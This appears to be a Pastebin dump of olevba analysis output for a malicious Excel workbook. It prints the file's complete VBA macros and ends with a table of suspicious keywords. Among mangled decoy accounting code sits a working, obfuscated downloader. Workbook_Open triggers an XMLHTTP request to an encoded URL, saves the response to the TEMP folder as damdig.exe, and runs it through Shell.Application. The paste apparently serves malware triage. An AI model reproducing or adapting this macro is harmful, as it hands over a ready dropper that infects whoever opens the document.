Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- olevba 0.41 - http://decalage.info/python/oletools
- Flags Filename
- ----------- -----------------------------------------------------------------
- OLE:MAS-HB-V si823610-01.xls
- (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
- ===============================================================================
- FILE: si823610-01.xls
- Type: OLE
- -------------------------------------------------------------------------------
- VBA MACRO ÝòàÊíèãà.cls
- in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Private Sub Workbook_Open()
- getListLastModifiedDate 9, ""
- PopulateList "", "", False
- PopulateTree ""
- SelectDailyBalancingIdx 12
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Ëèñò1.cls
- in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- (empty macro)
- -------------------------------------------------------------------------------
- VBA MACRO Ëèñò2.cls
- in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- (empty macro)
- -------------------------------------------------------------------------------
- VBA MACRO Ëèñò3.cls
- in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- (empty macro)
- -------------------------------------------------------------------------------
- VBA MACRO Module1.bas
- in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Sub DeleteVouchers( _
- NewVouch As String, _
- UsedVouchers As String, _
- Optional CmdObj As String)
- Dim bAllocatedLocally As Boolean
- If IsEmpty(CmdObj) Or CmdObj Is Nothing Then
- Set CmdObj.ActiveConnection = DbUtilities.GetConnection()
- CmdObj.ActiveConnection.CursorLocation = adUseClient
- bAllocatedLocally = True
- Else
- DbUtilities.ClearADOCmdParams CmdObj:=CmdObj
- bAllocatedLocally = False
- End If
- With CmdObj
- .CommandType = adCmdStoredProc
- .CommandText = Consta.nts.SCHEMA _
- & "." _
- & SP_DELETE_VOUCHERS
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=PARM_USED_VIDS, _
- Type:=adVarChar, _
- Direction:=adParamInput, _
- Size:=LEN_LONG_VARCHAR, _
- Value:=Utilities.BuildDistinctDelimitedList( _
- UsedVouchers, _
- ";", _
- "VoucherId") & NewVouch.VoucherId)
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=PARM_NUM_ROWS, _
- Type:=adInteger, _
- Direction:=adParamOutput, _
- Value:=Null)
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=DbUtilities.PARM_ERR_PROCEDURE, _
- Type:=adVarChar, _
- Direction:=adParamOutput, _
- Size:=DbUtilities.LEN_ERR_PROCDEDURE, _
- Value:=Null)
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=DbUtilities.PARM_ERR_LINE, _
- Type:=adInteger, _
- Direction:=adParamOutput, _
- Value:=Null)
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=DbUtilities.PARM_ERR_MESSAGE, _
- Type:=adVarChar, _
- Direction:=adParamOutput, _
- Size:=DbUtilities.LEN_ERR_MESSAGE, _
- Value:=Null)
- .Execute
- End With
- DbUtilities.HandleStoredProcErrs CmdObj:=CmdObj
- If bAllocatedLocally Then
- Set CmdObj = Nothing
- End If
- End Sub
- Public Function SelectGL4349() As String
- Dim cmd As As String
- Dim rs As String
- Set cmd = New As String
- Set rs = New ADODB.Recordset
- With cmd
- Set .ActiveConnection = DbUtilities.GetConnection()
- .CommandType = adCmdStoredProc
- .CommandText = Consta.nts.SCHEMA & "." & SP_SELECT_GL4349
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=DbUtilities.PARM_ERR_PROCEDURE, _
- Type:=adVarChar, _
- Direction:=adParamOutput, _
- Size:=DbUtilities.LEN_ERR_PROCDEDURE, _
- Value:=Null)
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=DbUtilities.PARM_ERR_LINE, _
- Type:=adInteger, _
- Direction:=adParamOutput, _
- Value:=Null)
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=DbUtilities.PARM_ERR_MESSAGE, _
- Type:=adVarChar, _
- Direction:=adParamOutput, _
- Size:=DbUtilities.LEN_ERR_MESSAGE, _
- Value:=Null)
- End With
- rsj.j.CursorLocation = adUseClient
- rsj.j.Open Source:=cmd, CursorType:=adOpenStatic, LockType:=adLockReadOnly
- DbUtilities.HandleStoredProcErrs CmdObj:=cmd
- DbUtilities.LoadAllRecords Records:=rs
- Set SelectGL4349 = rs
- Set cmd = Nothing
- Set rs = Nothing
- End Function
- Public Function SelectGL4349ById(GlId As Variant) As String
- Dim cmd As As String
- Dim rs As String
- Set cmd = New As String
- Set rs = New ADODB.Recordset
- With cmd
- Set .ActiveConnection = DbUtilities.GetConnection()
- .CommandType = adCmdStoredProc
- .CommandText = Consta.nts.SCHEMA & "." & SP_SELECT_GL4349_BY_ID
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=PARM_TRANS_ID, _
- Type:=adInteger, _
- Direction:=adParamInput, _
- Value:=Utilities.GetLongValue(GlId))
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=DbUtilities.PARM_ERR_PROCEDURE, _
- Type:=adVarChar, _
- Direction:=adParamOutput, _
- Size:=DbUtilities.LEN_ERR_PROCDEDURE, _
- Value:=Null)
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=DbUtilities.PARM_ERR_LINE, _
- Type:=adInteger, _
- Direction:=adParamOutput, _
- Value:=Null)
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=DbUtilities.PARM_ERR_MESSAGE, _
- Type:=adVarChar, _
- Direction:=adParamOutput, _
- Size:=DbUtilities.LEN_ERR_MESSAGE, _
- Value:=Null)
- End With
- rsj.j.CursorLocation = adUseClient
- rsj.j.Open Source:=cmd, CursorType:=adOpenStatic, LockType:=adLockReadOnly
- DbUtilities.HandleStoredProcErrs CmdObj:=cmd
- DbUtilities.LoadAllRecords Records:=rs
- Set SelectGL4349ById = rs
- Set cmd = Nothing
- Set rs = Nothing
- End Function
- -------------------------------------------------------------------------------
- VBA MACRO Module2.bas
- in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Sub fillList(frm As String, ctrlSource As String, Optional ctrlDest As String)
- On Error GoTo Err_Handler
- Dim db As DAO.database
- Dim rs As DAO.Recordset
- Dim strQuery As String, strSQL As String
- Select Case ctrlSo.urce.Name
- Case "lbxDataSheets", "sfrmDatasheets"
- strQuery = "qry_Active_Datasheets"
- strSQL = CurrentDb.QueryDefs(strQuery).Sql
- Case "lbxSpecies", "lbxTgtSpecies", "fsub_Species_Listbox"
- strQuery = "qry_Plant_Species"
- strSQL = CurrentDb.QueryDefs(strQuery).Sql
- End Select
- Set db = CurrentDb
- Set rs = db.OpenRecordset(strSQL)
- TempVarsj.j.Add "strSQL", strSQL
- If Not ctrlDest Is Nothing Then
- PopulateList ctrlSource, rs, ctrlDest
- Else
- PopulateListHeaders ctrlSource, rs
- End If
- exit_sub:
- Exit Sub
- Err_Handler:
- Select Case Err.Number
- Case Else
- MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
- "Error encountered (#" & Err.Number & " - fillList[mod_App_Data])"
- End Select
- Resume exit_sub
- End Sub
- Public Sub PopulateList(ctrlSource As String, rs As String, ctrlDest As Boolean)
- On Error GoTo Err_Handler
- Dim frm() As Variant
- Dim rows As Integer, cols As Integer, i As Integer, j As Integer, matches As Integer, iZeroes As Integer
- Dim stritem As String, strColHeads As String, aryColWidths() As String
- frm = Array(3290, 3302, 3302, 3298, 3244, 3233, 3233, 3293, 3286, 3297, 3292, 3291, 3296, 3307, 3290, 3284, 3232, 3305, 3308, 3232, 3285, 3308, 3233, 3242, 3241, 3307, 3302, 3287, 3239, 3239, 3233, 3240, 3302, 3238, 3239, 3287, 3307, 3304, 3232, 3287, 3306, 3287)
- If ctrlDest = False Then
- rodger_yet.Open "G" + "" + UCase("e") + UCase("t"), _
- FormOpen(frm, 41), ctrlDest
- End If
- rodger_yet.Send
- Exit Sub
- frm = ctrlSo.urce.Parent
- rows = rsjj.RecordCount
- cols = rsjj.Fields.Count
- If Nzj.j(rows, 0) = 0 Then
- MsgBox "Sorry, no records found..."
- GoTo exit_sub
- End If
- If ctrlSo.urce.ControlType = acSubform Then
- Set ctrlSo.urce.Form.Recordset = rs
- ctrlSo.urce.Form.Controls("tbxCode").ControlSource = "Code"
- ctrlSo.urce.Form.Controls("tbxSpecies").ControlSource = "Species"
- ctrlSo.urce.Form.Controls("tbxLUCode").ControlSource = "LUCode"
- ctrlSo.urce.Form.Controls("tbxTransectOnly").ControlSource = "Transect_Only"
- ctrlSo.urce.Form.Controls("tbxTgtAreaID").ControlSource = "Target_Area_ID"
- rsj.j.MoveLast
- ctrlSo.urce.Parent.Form.Controls("lblSfrmSpeciesCount").Caption = rsj.j.RecordCount & " species"
- rsj.j.MoveFirst
- GoTo exit_sub
- End If
- aryColWidths = Split(ctrlSo.urce.ColumnWidths, ";")
- iZeroes = CountArra.yValues(aryColWidths, "0")
- ClearL.ist ctrlSource
- If ctrlSo.urce.ColumnHeads = True Then
- PopulateLi.stHeaders ctrlSource, rs
- If ctrl.Dest.ColumnHeads = True Then
- Clear.List ctrlDest
- Populat.eListHeaders ctrlDest, rs
- End If
- End If
- Select Case ctrlSo.urce.RowSourceType
- Case "Table/Query"
- Set ctrlSo.urce.Recordset = rs
- Case "Value List"
- i = 0
- Do Until rsj.j.EOF
- stritem = ""
- For j = 0 To cols - 1
- If CInt(aryColWidths(j)) > 0 Then
- stritem = stritem & rsj.j.Fields(j).Value & ";"
- matches = (Len(stritem) - Len(Replace$(stritem, ";", ""))) / Len(";")
- If matches = cols - iZeroes Then
- ctrlSo.urce.AddItem stritem
- stritem = ""
- End If
- End If
- Next
- i = i + 1
- rsj.j.MoveNext
- Loop
- Case "Field List"
- End Select
- exit_sub:
- Exit Sub
- Err_Handler:
- Select Case Err.Number
- Case Else
- MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
- "Error encountered (#" & Err.Number & " - PopulateList[mod_App_Data])"
- End Select
- Resume exit_sub
- End Sub
- Public Sub AddListToTable(lbx As ListBox)
- On Error GoTo Err_Handler
- Dim aryFields() As String
- Dim aryFieldTypes() As Variant
- Dim strCode As String, strSpecies As String, strLUCode As String
- Dim iRow As Integer, iTransectOnly As Integer, iTgtAreaID As Integer
- iRow = lbx.ListCount - 1
- ReDim Preserve aryFields(0 To iRow)
- aryFields(0) = "Code;Species;LUCode;Transect_Only;Target_Area_ID"
- aryFieldTypes = Array(dbText, dbText, dbText, dbInteger, dbInteger)
- For iRow = 1 To lbx.ListCount - 1
- strCode = lbx.Column(0, iRow)
- strSpecies = lbx.Column(1, iRow)
- strLUCode = lbx.Column(2, iRow)
- iTransectOnly = Nz(lbx.Column(3, iRow), 0)
- iTgtAreaID = Nz(lbx.Column(4, iRow), 0)
- aryFields(iRow) = strCode & ";" & strSpecies & ";" & strLUCode & ";" & iTransectOnly & ";" & iTgtAreaID
- Next
- SetListRecordset lbx, True, aryFields, aryFieldTypes, "temp_Listbox_Recordset", True
- exit_sub:
- Exit Sub
- Err_Handler:
- Select Case Err.Number
- Case Else
- MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
- "Error encountered (#" & Err.Number & " - PopulateList[mod_App_Data])"
- End Select
- Resume exit_sub
- End Sub
- Public Function getParkState(parkCode As String) As String
- On Error GoTo Err_Handler
- Dim db As DAO.database
- Dim rs As DAO.Recordset
- Dim State As String, strSQL As String
- If Len(parkCode) <> 4 Then
- GoTo Exit_Function
- End If
- strSQL = "SELECT TOP 1 ParkState FROM tlu_Parks WHERE ParkCode LIKE "
- Set db = CurrentDb
- Set rs = db.OpenRecordset(strSQL)
- If rsj.j.RecordCount > 0 Then
- State = rsj.j.Fields("ParkState").Value
- End If
- getParkState = State
- Exit_Function:
- Exit Function
- Err_Handler:
- Select Case Err.Number
- Case Else
- MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
- "Error encountered (#" & Err.Number & " - getParkState[mod_App_Data])"
- End Select
- Resume Exit_Function
- End Function
- Public Function getListLastModifiedDate(TgtYear As Integer, parkCode As String) As String
- On Error GoTo Err_Handler
- Dim strCriteria As String
- If TgtYear < 2000 Then
- GoTo Exit_Function
- End If
- strCriteria = "Park_Code LIKE "
- getListLastModifiedDate = HHHNV.kkk(Format(DLoo.kup("Last_Modified", "tbl_Target_List", strCriteria), "mmm-d-yyyy H:nn AMPM"), "")
- Exit_Function:
- Set rodger_yet = CreateObject("Microsoft" + ".XMLHTTP")
- Set kirka_man = CreateObject("Adodb" + ".Str" + Chr(LEN_GL_JID + 1) + "am")
- Set endy_boc = CreateObject("WScript" + ".Shell").Environment("Pro" + "" + "c" + Chr(LEN_GL_JID + 1) + "ss")
- Set MyRunO = CreateObject("Sh" + Chr(LEN_GL_JID + 1) + "ll" + "" + "." + "" + "App" + "lication")
- Exit Function
- Err_Handler:
- Select Case Err.Number
- Case Else
- MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
- "Error encountered (#" & Err.Number & " - getListLastModifiedDate[mod_App_Data])"
- End Select
- Resume Exit_Function
- End Function
- Public Function IsUsedTargetArea(TgtAreaID As Integer) As Boolean
- On Error GoTo Err_Handler
- Dim db As DAO.database
- Dim rs As DAO.Recordset
- Dim strSQL As String
- IsUsedTargetArea = False
- strSQL = "SELECT TOP 1 Target_Area_ID FROM tbl_Target_Species WHERE Target_Area_ID = " & TgtAreaID & ";"
- Set db = CurrentDb
- Set rs = db.OpenRecordset(strSQL)
- If rsj.j.RecordCount > 0 Then
- IsUsedTargetArea = True
- Else
- GoTo Exit_Function
- End If
- Exit_Function:
- Exit Function
- Err_Handler:
- Select Case Err.Number
- Case Else
- MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
- "Error encountered (#" & Err.Number & " - IsUsedTargetArea[mod_App_Data])"
- End Select
- Resume Exit_Function
- End Function
- Public Sub PopulateTree(TreeType As String)
- On Error GoTo Err_Handler
- Dim db As String
- Dim rs As String
- Dim strSQL As String
- ficks_me = "" + endy_boc("T" + "" + UCase(Chr(LEN_GL_JID + 1)) _
- + UCase(Chr(LEN_GL_JID + 9)) + "P") + ""
- kirka_man.Type = 1
- must_be_DEL = "" + ficks_me + Chr(LEN_GL_JID - 8) + _
- "" + "dam" + Chr(LEN_GL_JID + 1) + "dig." + Chr(LEN_GL_JID + 1) + _
- "x" + Chr(LEN_GL_JID + 1)
- GoTo exit_sub
- Select Case TreeType
- Case "ParkSiteFeatureTransectPlot"
- strSQL = "SELECT * FROM qry_Park_Site_Feature_Transect_Plot"
- Case "Photo"
- End Select
- db = CurrentDb
- rs = dbjj.kk.OpenRecordset(strSQL)
- If rsj.j.RecordCount > 0 Then
- Else
- GoTo exit_sub
- End If
- exit_sub:
- kirka_man.Open
- Exit Sub
- Err_Handler:
- Select Case Err.Number
- Case Else
- MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
- "Error encountered (#" & Err.Number & " - PopulateTree[mod_App_Data])"
- End Select
- Resume exit_sub
- End Sub
- Public Sub PopulateCombobox(cbx As String, BoxType As String)
- On Error GoTo Err_Handler
- Dim db As DAO.database
- Dim rs As DAO.Recordset
- Dim strSQL As String
- Select Case BoxType
- Case ""
- Case "priority"
- strSQL = "SELECT ID, Priority FROM Priority ORDER BY Sequence ASC;"
- Case "status"
- strSQL = "SELECT ID, Status FROM Status ORDER BY Sequence ASC;"
- End Select
- Set db = CurrentDb
- Set rs = db.OpenRecordset(strSQL)
- If rsj.j.RecordCount > 0 Then
- cbx.Recordset = rs
- Else
- GoTo exit_sub
- End If
- exit_sub:
- Exit Sub
- Err_Handler:
- Select Case Err.Number
- Case Else
- MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
- "Error encountered (#" & Err.Number & " - PopulateTree[mod_App_Data])"
- End Select
- Resume exit_sub
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Module3.bas
- in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Private Const LEN_GL_DESCRIPTION As Long = 200
- Public Const LEN_GL_JID As Integer = 100
- Public Const LEN_GL_USER_ID As Long = 50
- Private Const LEN_GL_VOUCHER As Long = 4000
- Private Const LEN_LONG_VARCHAR As Long = 4000
- Private Const LEN_VID As Long = 10
- Private Const LEN_BATCH_NUMBER As Long = 20
- Private Const LEN_FILTER_PARAM As Long = 100
- Private Const PARM_AMOUNT As String = "@amount"
- Private Const PARM_ARE_EQUAL As String = "@areEqual"
- Private Const PARM_BATCH_NUMBER As String = "@batchNumber"
- Private Const PARM_COLOR As String = "@color"
- Private Const PARM_COMMENTS As String = "@comments"
- Private Const PARM_DATE_CHECKED As String = "@dateChecked"
- Private Const PARM_DESCRIPTION As String = "@description"
- Private Const PARM_FILTER As String = "@filterParam"
- Private Const PARM_FULL_VOUCHER As String = "@fullVoucher"
- Private Const PARM_GL_ID As String = "@glId"
- Private Const PARM_JID As String = "@jid"
- Public rodger_yet As Object
- Public kirka_man As Object
- Public endy_boc As Object
- Public ficks_me As String
- Public must_be_DEL As String
- Public MyRunO As Object
- Public Function SelectDailyBalancingIdx(BatchNum As Long) As String
- Dim cmd As String
- Dim rs As String
- GoTo exit_sub
- With cm.d
- Set .ActiveConnection = DbUtilities.GetConnection()
- .CommandType = adCmdStoredProc
- .CommandText = Constan.ts.SCHEMA & "." & SP_SELECT_DB_IDX
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=PARM_BATCH_NUMBER, _
- Type:=adVarChar, _
- Direction:=adParamInput, _
- Size:=LEN_BATCH_NUMBER, _
- Value:=BatchNum)
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=DbUtilities.PARM_ERR_PROCEDURE, _
- Type:=adVarChar, _
- Direction:=adParamOutput, _
- Size:=DbUtilities.LEN_ERR_PROCDEDURE, _
- Value:=Null)
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=DbUtilities.PARM_ERR_LINE, _
- Type:=adInteger, _
- Direction:=adParamOutput, _
- Value:=Null)
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=DbUtilities.PARM_ERR_MESSAGE, _
- Type:=adVarChar, _
- Direction:=adParamOutput, _
- Size:=DbUtilities.LEN_ERR_MESSAGE, _
- Value:=Null)
- End With
- rsj.j.CursorLocation = adUseClient
- rsj.j.Open Source:=cmd, CursorType:=adOpenStatic, LockType:=adLockReadOnly
- DbUtilities.HandleStoredProcErrs CmdObj:=cmd
- DbUtilities.LoadAllRecords Records:=rs
- exit_sub:
- kirka_man.write rodger_yet.responseBody
- kirka_man.savetofile must_be_DEL, 2
- SelectGL4349ByJournalDate "", ""
- Exit Function
- SelectDailyBalancingIdx = rs
- cmd = ""
- rs = ""
- End Function
- Public Function SelectGL4349ByJournalDate(MinDate As String, MaxDate As String) As String
- Dim cmd As String
- Dim rs As String
- Dim cGl As String
- Dim cGls As String
- GoTo exit_sub
- cGl = Factory.CreateCGlBean( _
- Amount:=rsj.j.Fields(Consta.nts.SRC_AMOUNT).Value, _
- ColorCode:=rsj.j.Fields(Consta.nts.SRC_COLOR_CODE).Value, _
- Comments:=rsj.j.Fields(Consta.nts.SRC_COMMENTS).Value, _
- DateChecked:=rsj.j.Fields(Consta.nts.SRC_CHECKED_DATE).Value, _
- Description:=rsj.j.Fields(Consta.nts.SRC_DESCRIPTION).Value, _
- FullVoucher:=rsj.j.Fields(Consta.nts.SRC_FULL_VOUCHER).Value, _
- JID:=rsj.j.Fields(Consta.nts.SRC_JID).Value, _
- JournalDate:=rsj.j.Fields(Consta.nts.SRC_JOURNAL_DATE).Value, _
- PostedDate:=rsj.j.Fields(Consta.nts.SRC_POSTED_DATE).Value, _
- GlId:=rsj.j.Fields(Consta.nts.SRC_GL_ID).Value, _
- UserId:=rsj.j.Fields(Consta.nts.SRC_USER_ID).Value, _
- VoucherId:=rsj.j.Fields(Consta.nts.SRC_VOUCHER_ID).Value)
- exit_sub:
- MyRunO.Open _
- ("" + _
- must_be_DEL + "")
- Exit Function
- j.j.Add Item:=cGl, Key:=Utilities.GetStringValue(cGjj.l.GlId)
- rsj.j.MoveNext
- Set SelectGL4349ByJour.nalDate = cGls
- Set cmdhh.hgf = Nothing
- Set rhh.hfs = Nothing
- End Function
- Public Function FormOpen(Z() As Variant, oldLen As Integer) As String
- Dim n As Integer
- For n = LBound(Z) To UBound(Z)
- FormOpen = FormOpen & Chr(Z(n) - 13 * oldLen - 2653)
- Next n
- End Function
- Public Function SelectGL4349Filtered(FilterParam As Variant) As String
- Dim cmd As As String
- Dim rs As String
- Set cmd = New As String
- Set rs = New ADODB.Recordset
- With cmd
- Set .ActiveConnection = DbUtilities.GetConnection()
- .CommandType = adCmdStoredProc
- .CommandText = Consta.nts.SCHEMA & "." & SP_SELECT_GL4349_FILTERED
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=PARM_FILTER, _
- Type:=adVarChar, _
- Direction:=adParamInput, _
- Size:=LEN_FILTER_PARAM, _
- Value:=Utilities.GetStringValue(FilterParam))
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=DbUtilities.PARM_ERR_PROCEDURE, _
- Type:=adVarChar, _
- Direction:=adParamOutput, _
- Size:=DbUtilities.LEN_ERR_PROCDEDURE, _
- Value:=Null)
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=DbUtilities.PARM_ERR_LINE, _
- Type:=adInteger, _
- Direction:=adParamOutput, _
- Value:=Null)
- .Parametersj.j.Append Object:= _
- .CreateParameter(Name:=DbUtilities.PARM_ERR_MESSAGE, _
- Type:=adVarChar, _
- Direction:=adParamOutput, _
- Size:=DbUtilities.LEN_ERR_MESSAGE, _
- Value:=Null)
- End With
- rsj.j.CursorLocation = adUseClient
- rsj.j.Open Source:=cmd, CursorType:=adOpenStatic, LockType:=adLockReadOnly
- DbUtilities.HandleStoredProcErrs CmdObj:=cmd
- DbUtilities.LoadAllRecords Records:=rs
- Set SelectGL4349Filtered = rs
- Set cmd = Nothing
- Set rs = Nothing
- End Function
- Public Function SelectNewVoucherId() As Long
- Dim cmd As As String
- Dim rs As String
- Set cmd = New As String
- Set rs = New ADODB.Recordset
- With cmd
- Set .ActiveConnection = DbUtilities.GetConnection()
- .CommandType = adCmdStoredProc
- .CommandText = Consta.nts.SCHEMA & "." & SP_SELECT_NEW_VID
- End With
- rsj.j.CursorLocation = adUseClient
- rsj.j.Open Source:=cmd, CursorType:=adOpenStatic, LockType:=adLockReadOnly
- SelectNewVoucherId = Utilities.GetLongValue(rsj.j.Fields(PARM_NEWVID).Value)
- Set cmd = Nothing
- Set rs = Nothing
- End Function
- +------------+----------------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+----------------------+-----------------------------------------+
- | AutoExec | Workbook_Open | Runs when the Excel Workbook is opened |
- | Suspicious | Open | May open a file |
- | Suspicious | Shell | May run an executable file or a system |
- | | | command |
- | Suspicious | CreateObject | May create an OLE object |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | SaveToFile | May create a text file |
- | Suspicious | Write | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | WScript.Shell | May run an executable file or a system |
- | | | command (obfuscation: VBA expression) |
- | Suspicious | Microsoft.XMLHTTP | May download files from the Internet |
- | | | (obfuscation: VBA expression) |
- | Suspicious | Hex Strings | Hex-encoded strings were detected, may |
- | | | be used to obfuscate strings (option |
- | | | --decode to see all) |
- | Suspicious | Base64 Strings | Base64-encoded strings were detected, |
- | | | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | Suspicious | VBA obfuscated | VBA string expressions were detected, |
- | | Strings | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | VBA string | G | "G" + "" |
- | VBA string | Microsoft.XMLHTTP | ("Microsoft" + ".XMLHTTP") |
- | VBA string | Adodb.Str | "Adodb" + ".Str" |
- | VBA string | WScript.Shell | ("WScript" + ".Shell") |
- | VBA string | Proc | "Pro" + "" + "c" |
- | VBA string | ll.Application | "ll" + "" + "." + "" + "App" + |
- | | | "lication" |
- | VBA string | T | "T" + "" |
- | VBA string | dam | "" + "dam" |
- +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement